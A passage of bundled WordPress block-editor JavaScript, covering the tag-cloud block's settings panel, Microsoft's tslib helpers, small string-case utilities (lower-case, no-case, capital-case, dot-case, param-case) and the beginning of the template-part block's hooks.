52543 if (!Number.isFinite(quantity)) {
52544 return;
52545 }
52546 const updateObj = { [fontSizeLabel]: newValue };
52547 Object.entries({
52548 smallestFontSize,
52549 largestFontSize
52550 }).forEach(([attribute, currentValue]) => {
52551 const [currentQuantity, currentUnit] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(currentValue);
52552 if (attribute !== fontSizeLabel && currentUnit !== newUnit) {
52553 updateObj[attribute] = `${currentQuantity}${newUnit}`;
52554 }
52555 });
52556 setAttributes(updateObj);
52557 };
52558 const serverSideAttributes = {
52559 ...attributes,
52560 style: {
52561 ...attributes?.style,
52562 border: void 0
52563 }
52564 };
52565 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
52566 external_wp_components_namespaceObject.__experimentalToolsPanel,
52567 {
52568 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
52569 resetAll: () => {
52570 setAttributes({
52571 taxonomy: "post_tag",
52572 showTagCounts: false,
52573 numberOfTags: 45,
52574 smallestFontSize: "8pt",
52575 largestFontSize: "22pt"
52576 });
52577 },
52578 dropdownMenuProps,
52579 children: [
52580 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52581 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
52582 {
52583 hasValue: () => taxonomy !== "post_tag",
52584 label: (0,external_wp_i18n_namespaceObject.__)("Taxonomy"),
52585 onDeselect: () => setAttributes({ taxonomy: "post_tag" }),
52586 isShownByDefault: true,
52587 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52588 external_wp_components_namespaceObject.SelectControl,
52589 {
52590 __nextHasNoMarginBottom: true,
52591 __next40pxDefaultSize: true,
52592 label: (0,external_wp_i18n_namespaceObject.__)("Taxonomy"),
52593 options: getTaxonomyOptions(),
52594 value: taxonomy,
52595 onChange: (selectedTaxonomy) => setAttributes({ taxonomy: selectedTaxonomy })
52596 }
52597 )
52598 }
52599 ),
52600 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52601 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
52602 {
52603 hasValue: () => smallestFontSize !== "8pt" || largestFontSize !== "22pt",
52604 label: (0,external_wp_i18n_namespaceObject.__)("Font size"),
52605 onDeselect: () => setAttributes({
52606 smallestFontSize: "8pt",
52607 largestFontSize: "22pt"
52608 }),
52609 isShownByDefault: true,
52610 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { gap: 4, children: [
52611 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52612 external_wp_components_namespaceObject.__experimentalUnitControl,
52613 {
52614 label: (0,external_wp_i18n_namespaceObject.__)("Smallest size"),
52615 value: smallestFontSize,
52616 onChange: (value) => {
52617 onFontSizeChange(
52618 "smallestFontSize",
52619 value
52620 );
52621 },
52622 units,
52623 min: MIN_FONT_SIZE,
52624 max: MAX_FONT_SIZE,
52625 size: "__unstable-large"
52626 }
52627 ) }),
52628 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52629 external_wp_components_namespaceObject.__experimentalUnitControl,
52630 {
52631 label: (0,external_wp_i18n_namespaceObject.__)("Largest size"),
52632 value: largestFontSize,
52633 onChange: (value) => {
52634 onFontSizeChange(
52635 "largestFontSize",
52636 value
52637 );
52638 },
52639 units,
52640 min: MIN_FONT_SIZE,
52641 max: MAX_FONT_SIZE,
52642 size: "__unstable-large"
52643 }
52644 ) })
52645 ] })
52646 }
52647 ),
52648 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52649 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
52650 {
52651 hasValue: () => numberOfTags !== 45,
52652 label: (0,external_wp_i18n_namespaceObject.__)("Number of tags"),
52653 onDeselect: () => setAttributes({ numberOfTags: 45 }),
52654 isShownByDefault: true,
52655 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52656 external_wp_components_namespaceObject.RangeControl,
52657 {
52658 __nextHasNoMarginBottom: true,
52659 __next40pxDefaultSize: true,
52660 label: (0,external_wp_i18n_namespaceObject.__)("Number of tags"),
52661 value: numberOfTags,
52662 onChange: (value) => setAttributes({ numberOfTags: value }),
52663 min: MIN_TAGS,
52664 max: MAX_TAGS,
52665 required: true
52666 }
52667 )
52668 }
52669 ),
52670 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52671 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
52672 {
52673 hasValue: () => showTagCounts !== false,
52674 label: (0,external_wp_i18n_namespaceObject.__)("Show tag counts"),
52675 onDeselect: () => setAttributes({ showTagCounts: false }),
52676 isShownByDefault: true,
52677 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52678 external_wp_components_namespaceObject.ToggleControl,
52679 {
52680 __nextHasNoMarginBottom: true,
52681 label: (0,external_wp_i18n_namespaceObject.__)("Show tag counts"),
52682 checked: showTagCounts,
52683 onChange: () => setAttributes({ showTagCounts: !showTagCounts })
52684 }
52685 )
52686 }
52687 )
52688 ]
52689 }
52690 ) });
52691 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
52692 inspectorControls,
52693 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
52694 (external_wp_serverSideRender_default()),
52695 {
52696 skipBlockSupportAttributes: true,
52697 block: "core/tag-cloud",
52698 attributes: serverSideAttributes
52699 }
52700 ) }) })
52701 ] });
52702}
52703var tag_cloud_edit_edit_default = TagCloudEdit;
52704
52705
52706;// ./node_modules/@wordpress/block-library/build-module/tag-cloud/index.js
52707
52708
52709
52710
52711
52712const { name: tag_cloud_name } = tag_cloud_block_namespaceObject;
52713const tag_cloud_settings = {
52714 icon: tag_default,
52715 example: {},
52716 edit: tag_cloud_edit_edit_default,
52717 transforms: tag_cloud_transforms_transforms_default
52718};
52719const tag_cloud_init = () => initBlock({ name: tag_cloud_name, metadata: tag_cloud_block_namespaceObject, settings: tag_cloud_settings });
52720
52721
52722;// ./node_modules/tslib/tslib.es6.mjs
52723/******************************************************************************
52724Copyright (c) Microsoft Corporation.
52725
52726Permission to use, copy, modify, and/or distribute this software for any
52727purpose with or without fee is hereby granted.
52728
52729THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
52730REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
52731AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
52732INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
52733LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
52734OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
52735PERFORMANCE OF THIS SOFTWARE.
52736***************************************************************************** */
52737/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
52738
52739var extendStatics = function(d, b) {
52740 extendStatics = Object.setPrototypeOf ||
52741 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
52742 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
52743 return extendStatics(d, b);
52744};
52745
52746function __extends(d, b) {
52747 if (typeof b !== "function" && b !== null)
52748 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
52749 extendStatics(d, b);
52750 function __() { this.constructor = d; }
52751 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
52752}
52753
52754var __assign = function() {
52755 __assign = Object.assign || function __assign(t) {
52756 for (var s, i = 1, n = arguments.length; i < n; i++) {
52757 s = arguments[i];
52758 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
52759 }
52760 return t;
52761 }
52762 return __assign.apply(this, arguments);
52763}
52764
52765function __rest(s, e) {
52766 var t = {};
52767 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
52768 t[p] = s[p];
52769 if (s != null && typeof Object.getOwnPropertySymbols === "function")
52770 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
52771 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
52772 t[p[i]] = s[p[i]];
52773 }
52774 return t;
52775}
52776
52777function __decorate(decorators, target, key, desc) {
52778 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
52779 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
52780 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
52781 return c > 3 && r && Object.defineProperty(target, key, r), r;
52782}
52783
52784function __param(paramIndex, decorator) {
52785 return function (target, key) { decorator(target, key, paramIndex); }
52786}
52787
52788function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
52789 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
52790 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
52791 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
52792 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
52793 var _, done = false;
52794 for (var i = decorators.length - 1; i >= 0; i--) {
52795 var context = {};
52796 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
52797 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
52798 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
52799 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
52800 if (kind === "accessor") {
52801 if (result === void 0) continue;
52802 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
52803 if (_ = accept(result.get)) descriptor.get = _;
52804 if (_ = accept(result.set)) descriptor.set = _;
52805 if (_ = accept(result.init)) initializers.unshift(_);
52806 }
52807 else if (_ = accept(result)) {
52808 if (kind === "field") initializers.unshift(_);
52809 else descriptor[key] = _;
52810 }
52811 }
52812 if (target) Object.defineProperty(target, contextIn.name, descriptor);
52813 done = true;
52814};
52815
52816function __runInitializers(thisArg, initializers, value) {
52817 var useValue = arguments.length > 2;
52818 for (var i = 0; i < initializers.length; i++) {
52819 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
52820 }
52821 return useValue ? value : void 0;
52822};
52823
52824function __propKey(x) {
52825 return typeof x === "symbol" ? x : "".concat(x);
52826};
52827
52828function __setFunctionName(f, name, prefix) {
52829 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
52830 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
52831};
52832
52833function __metadata(metadataKey, metadataValue) {
52834 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
52835}
52836
52837function __awaiter(thisArg, _arguments, P, generator) {
52838 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
52839 return new (P || (P = Promise))(function (resolve, reject) {
52840 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
52841 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
52842 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
52843 step((generator = generator.apply(thisArg, _arguments || [])).next());
52844 });
52845}
52846
52847function __generator(thisArg, body) {
52848 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
52849 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
52850 function verb(n) { return function (v) { return step([n, v]); }; }
52851 function step(op) {
52852 if (f) throw new TypeError("Generator is already executing.");
52853 while (g && (g = 0, op[0] && (_ = 0)), _) try {
52854 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
52855 if (y = 0, t) op = [op[0] & 2, t.value];
52856 switch (op[0]) {
52857 case 0: case 1: t = op; break;
52858 case 4: _.label++; return { value: op[1], done: false };
52859 case 5: _.label++; y = op[1]; op = [0]; continue;
52860 case 7: op = _.ops.pop(); _.trys.pop(); continue;
52861 default:
52862 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
52863 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
52864 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
52865 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
52866 if (t[2]) _.ops.pop();
52867 _.trys.pop(); continue;
52868 }
52869 op = body.call(thisArg, _);
52870 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
52871 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
52872 }
52873}
52874
52875var __createBinding = Object.create ? (function(o, m, k, k2) {
52876 if (k2 === undefined) k2 = k;
52877 var desc = Object.getOwnPropertyDescriptor(m, k);
52878 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
52879 desc = { enumerable: true, get: function() { return m[k]; } };
52880 }
52881 Object.defineProperty(o, k2, desc);
52882}) : (function(o, m, k, k2) {
52883 if (k2 === undefined) k2 = k;
52884 o[k2] = m[k];
52885});
52886
52887function __exportStar(m, o) {
52888 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
52889}
52890
52891function __values(o) {
52892 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
52893 if (m) return m.call(o);
52894 if (o && typeof o.length === "number") return {
52895 next: function () {
52896 if (o && i >= o.length) o = void 0;
52897 return { value: o && o[i++], done: !o };
52898 }
52899 };
52900 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
52901}
52902
52903function __read(o, n) {
52904 var m = typeof Symbol === "function" && o[Symbol.iterator];
52905 if (!m) return o;
52906 var i = m.call(o), r, ar = [], e;
52907 try {
52908 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
52909 }
52910 catch (error) { e = { error: error }; }
52911 finally {
52912 try {
52913 if (r && !r.done && (m = i["return"])) m.call(i);
52914 }
52915 finally { if (e) throw e.error; }
52916 }
52917 return ar;
52918}
52919
52920/** @deprecated */
52921function __spread() {
52922 for (var ar = [], i = 0; i < arguments.length; i++)
52923 ar = ar.concat(__read(arguments[i]));
52924 return ar;
52925}
52926
52927/** @deprecated */
52928function __spreadArrays() {
52929 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
52930 for (var r = Array(s), k = 0, i = 0; i < il; i++)
52931 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
52932 r[k] = a[j];
52933 return r;
52934}
52935
52936function __spreadArray(to, from, pack) {
52937 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
52938 if (ar || !(i in from)) {
52939 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
52940 ar[i] = from[i];
52941 }
52942 }
52943 return to.concat(ar || Array.prototype.slice.call(from));
52944}
52945
52946function __await(v) {
52947 return this instanceof __await ? (this.v = v, this) : new __await(v);
52948}
52949
52950function __asyncGenerator(thisArg, _arguments, generator) {
52951 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
52952 var g = generator.apply(thisArg, _arguments || []), i, q = [];
52953 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
52954 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
52955 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
52956 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
52957 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
52958 function fulfill(value) { resume("next", value); }
52959 function reject(value) { resume("throw", value); }
52960 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
52961}
52962
52963function __asyncDelegator(o) {
52964 var i, p;
52965 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
52966 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
52967}
52968
52969function __asyncValues(o) {
52970 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
52971 var m = o[Symbol.asyncIterator], i;
52972 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
52973 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
52974 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
52975}
52976
52977function __makeTemplateObject(cooked, raw) {
52978 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
52979 return cooked;
52980};
52981
52982var __setModuleDefault = Object.create ? (function(o, v) {
52983 Object.defineProperty(o, "default", { enumerable: true, value: v });
52984}) : function(o, v) {
52985 o["default"] = v;
52986};
52987
52988var ownKeys = function(o) {
52989 ownKeys = Object.getOwnPropertyNames || function (o) {
52990 var ar = [];
52991 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
52992 return ar;
52993 };
52994 return ownKeys(o);
52995};
52996
52997function __importStar(mod) {
52998 if (mod && mod.__esModule) return mod;
52999 var result = {};
53000 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
53001 __setModuleDefault(result, mod);
53002 return result;
53003}
53004
53005function __importDefault(mod) {
53006 return (mod && mod.__esModule) ? mod : { default: mod };
53007}
53008
53009function __classPrivateFieldGet(receiver, state, kind, f) {
53010 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
53011 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
53012 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
53013}
53014
53015function __classPrivateFieldSet(receiver, state, value, kind, f) {
53016 if (kind === "m") throw new TypeError("Private method is not writable");
53017 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
53018 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
53019 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
53020}
53021
53022function __classPrivateFieldIn(state, receiver) {
53023 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
53024 return typeof state === "function" ? receiver === state : state.has(receiver);
53025}
53026
53027function __addDisposableResource(env, value, async) {
53028 if (value !== null && value !== void 0) {
53029 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
53030 var dispose, inner;
53031 if (async) {
53032 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
53033 dispose = value[Symbol.asyncDispose];
53034 }
53035 if (dispose === void 0) {
53036 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
53037 dispose = value[Symbol.dispose];
53038 if (async) inner = dispose;
53039 }
53040 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
53041 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
53042 env.stack.push({ value: value, dispose: dispose, async: async });
53043 }
53044 else if (async) {
53045 env.stack.push({ async: true });
53046 }
53047 return value;
53048}
53049
53050var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
53051 var e = new Error(message);
53052 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
53053};
53054
53055function __disposeResources(env) {
53056 function fail(e) {
53057 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
53058 env.hasError = true;
53059 }
53060 var r, s = 0;
53061 function next() {
53062 while (r = env.stack.pop()) {
53063 try {
53064 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
53065 if (r.dispose) {
53066 var result = r.dispose.call(r.value);
53067 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
53068 }
53069 else s |= 1;
53070 }
53071 catch (e) {
53072 fail(e);
53073 }
53074 }
53075 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
53076 if (env.hasError) throw env.error;
53077 }
53078 return next();
53079}
53080
53081function __rewriteRelativeImportExtension(path, preserveJsx) {
53082 if (typeof path === "string" && /^\.\.?\//.test(path)) {
53083 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
53084 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
53085 });
53086 }
53087 return path;
53088}
53089
53090/* harmony default export */ const tslib_es6 = ({
53091 __extends,
53092 __assign,
53093 __rest,
53094 __decorate,
53095 __param,
53096 __esDecorate,
53097 __runInitializers,
53098 __propKey,
53099 __setFunctionName,
53100 __metadata,
53101 __awaiter,
53102 __generator,
53103 __createBinding,
53104 __exportStar,
53105 __values,
53106 __read,
53107 __spread,
53108 __spreadArrays,
53109 __spreadArray,
53110 __await,
53111 __asyncGenerator,
53112 __asyncDelegator,
53113 __asyncValues,
53114 __makeTemplateObject,
53115 __importStar,
53116 __importDefault,
53117 __classPrivateFieldGet,
53118 __classPrivateFieldSet,
53119 __classPrivateFieldIn,
53120 __addDisposableResource,
53121 __disposeResources,
53122 __rewriteRelativeImportExtension,
53123});
53124
53125;// ./node_modules/lower-case/dist.es2015/index.js
53126/**
53127 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
53128 */
53129var SUPPORTED_LOCALE = {
53130 tr: {
53131 regexp: /\u0130|\u0049|\u0049\u0307/g,
53132 map: {
53133 İ: "\u0069",
53134 I: "\u0131",
53135 İ: "\u0069",
53136 },
53137 },
53138 az: {
53139 regexp: /\u0130/g,
53140 map: {
53141 İ: "\u0069",
53142 I: "\u0131",
53143 İ: "\u0069",
53144 },
53145 },
53146 lt: {
53147 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
53148 map: {
53149 I: "\u0069\u0307",
53150 J: "\u006A\u0307",
53151 Į: "\u012F\u0307",
53152 Ì: "\u0069\u0307\u0300",
53153 Í: "\u0069\u0307\u0301",
53154 Ĩ: "\u0069\u0307\u0303",
53155 },
53156 },
53157};
53158/**
53159 * Localized lower case.
53160 */
53161function localeLowerCase(str, locale) {
53162 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
53163 if (lang)
53164 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
53165 return lowerCase(str);
53166}
53167/**
53168 * Lower case as a function.
53169 */
53170function lowerCase(str) {
53171 return str.toLowerCase();
53172}
53173
53174;// ./node_modules/no-case/dist.es2015/index.js
53175
53176// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
53177var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
53178// Remove all non-word characters.
53179var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
53180/**
53181 * Normalize the string into something other libraries can manipulate easier.
53182 */
53183function noCase(input, options) {
53184 if (options === void 0) { options = {}; }
53185 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
53186 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
53187 var start = 0;
53188 var end = result.length;
53189 // Trim the delimiter from around the output string.
53190 while (result.charAt(start) === "\0")
53191 start++;
53192 while (result.charAt(end - 1) === "\0")
53193 end--;
53194 // Transform each token independently.
53195 return result.slice(start, end).split("\0").map(transform).join(delimiter);
53196}
53197/**
53198 * Replace `re` in the input string with the replacement value.
53199 */
53200function replace(input, re, value) {
53201 if (re instanceof RegExp)
53202 return input.replace(re, value);
53203 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
53204}
53205
53206;// ./node_modules/upper-case-first/dist.es2015/index.js
53207/**
53208 * Upper case the first character of an input string.
53209 */
53210function upperCaseFirst(input) {
53211 return input.charAt(0).toUpperCase() + input.substr(1);
53212}
53213
53214;// ./node_modules/capital-case/dist.es2015/index.js
53215
53216
53217
53218function capitalCaseTransform(input) {
53219 return upperCaseFirst(input.toLowerCase());
53220}
53221function capitalCase(input, options) {
53222 if (options === void 0) { options = {}; }
53223 return noCase(input, __assign({ delimiter: " ", transform: capitalCaseTransform }, options));
53224}
53225
53226;// ./node_modules/@wordpress/block-library/build-module/template-part/block.json
53227const template_part_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/template-part","title":"Template Part","category":"theme","description":"Edit the different global regions of your site, like the header, footer, sidebar, or create your own.","textdomain":"default","attributes":{"slug":{"type":"string"},"theme":{"type":"string"},"tagName":{"type":"string"},"area":{"type":"string"}},"supports":{"align":true,"html":false,"reusable":false,"renaming":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-template-part-editor"}');
53228;// ./node_modules/dot-case/dist.es2015/index.js
53229
53230
53231function dotCase(input, options) {
53232 if (options === void 0) { options = {}; }
53233 return noCase(input, __assign({ delimiter: "." }, options));
53234}
53235
53236;// ./node_modules/param-case/dist.es2015/index.js
53237
53238
53239function paramCase(input, options) {
53240 if (options === void 0) { options = {}; }
53241 return dotCase(input, __assign({ delimiter: "-" }, options));
53242}
53243
53244;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/utils/hooks.js
53245
53246
53247
53248
53249
53250
53251
53252
53253function useAlternativeTemplateParts(area, excludedId) {
53254 const { templateParts, isResolving } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
53255 const { getEntityRecords, isResolving: _isResolving } = select(external_wp_coreData_namespaceObject.store);
53256 const query = { per_page: -1 };
53257 return {
53258 templateParts: getEntityRecords(
53259 "postType",
53260 "wp_template_part",
53261 query
53262 ),
53263 isResolving: _isResolving("getEntityRecords", [
53264 "postType",
53265 "wp_template_part",
53266 query
53267 ])
53268 };
53269 }, []);
53270 const filteredTemplateParts = (0,external_wp_element_namespaceObject.useMemo)(() => {
53271 if (!templateParts) {
53272 return [];
53273 }
53274 return templateParts.filter(
53275 (templatePart) => createTemplatePartId(
53276 templatePart.theme,
53277 templatePart.slug
53278 ) !== excludedId && (!area || "uncategorized" === area || templatePart.area === area)
53279 ) || [];
53280 }, [templateParts, area, excludedId]);
53281 return {
53282 templateParts: filteredTemplateParts,
53283 isResolving
53284 };
53285}
53286function useAlternativeBlockPatterns(area, clientId) {
53287 return (0,external_wp_data_namespaceObject.useSelect)(
53288 (select) => {
53289 const blockNameWithArea = area ? `core/template-part/${area}` : "core/template-part";
53290 const { getBlockRootClientId, getPatternsByBlockTypes } = select(external_wp_blockEditor_namespaceObject.store);
53291 const rootClientId = getBlockRootClientId(clientId);
53292 return getPatternsByBlockTypes(blockNameWithArea, rootClientId);
53293 },
53294 [area, clientId]
53295 );
53296}
53297function useCreateTemplatePartFromBlocks(area, setAttributes) {
53298 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
